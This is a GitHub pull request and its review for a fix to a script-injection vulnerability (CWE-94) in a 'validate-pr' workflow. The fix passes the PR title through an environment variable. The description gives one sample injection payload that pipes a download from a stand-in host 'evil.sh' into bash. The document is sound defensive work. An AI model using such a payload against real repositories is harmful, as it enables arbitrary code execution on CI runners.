FIX @W-19079373@ Prevent PR title injection in validate-pr workflow

[nikhil-mittal-165]

What & why

Fixes W-19079373 — [PVR] GitHub Workflows Vulnerable to PR Title Injection (P2, Pre-production Security Debt).

The validate-pr workflow interpolated the attacker-controlled github.event.pull_request.title directly into run: shell scripts (two places). Because ${{ }} expansion is textual substitution performed before bash parses the script, a crafted PR title such as x"; curl evil.sh | bash; echo " breaks out of the title="..." assignment and executes arbitrary commands on the runner (CWE-94 script injection).

Fix

• Pass the untrusted PR title through an environment variable (PR_TITLE) instead of inline ${{ }} interpolation, so it is handled as data and cannot inject shell commands. This is the GitHub-recommended remediation.
• Add a least-privilege permissions: contents: read block to cap the token's blast radius.

Applied to both injection points in the file (validate_pr_title and check_for_postrelease_keyword jobs).

Notes

• Trigger is on: pull_request (not pull_request_target), so fork PRs already run with a read-only token and no secrets — this hardens against same-repo abuse and cache poisoning, and removes the finding.
• The github.event.pull_request.{head,base}.sha values elsewhere in this file are git SHAs (constrained hex), not part of this injection class, and are left unchanged.
• Sibling PRs fixing the same pattern are being opened in code-analyzer (CLI) and sfdx-code-analyzer-vscode.

Testing

• validate-pr re-runs on this PR and exercises the modified title-validation logic.
• YAML validated locally.

[git2gus]

Git2Gus App is installed but the .git2gus/config.json doesn't have right values. You should add the required configuration.

[aruntyagiTutu]

Correctly fixes the GitHub Actions script-injection vulnerability (CWE-94): the PR title was previously interpolated directly via ${{ github.event.pull_request.title }} inside a run: bash block, which is textual substitution before bash parses the script — a crafted title breaking out of title="..." could execute arbitrary commands on the runner. The fix moves the untrusted value into an env: block (PR_TITLE) and references it as "$PR_TITLE", which is the correct GitHub-recommended remediation since env values are passed as data, not spliced into the script text.

Both injection points in verify-pr.yml (validate_pr_title and check_for_postrelease_keyword jobs) are fixed identically. The added permissions: contents: read is a reasonable least-privilege hardening addition. PR description accurately matches the diff; correctly notes the SHA interpolations elsewhere in the file are a different (safe) class and are left alone. CI green (checks still finishing at review time but no failures). Approving.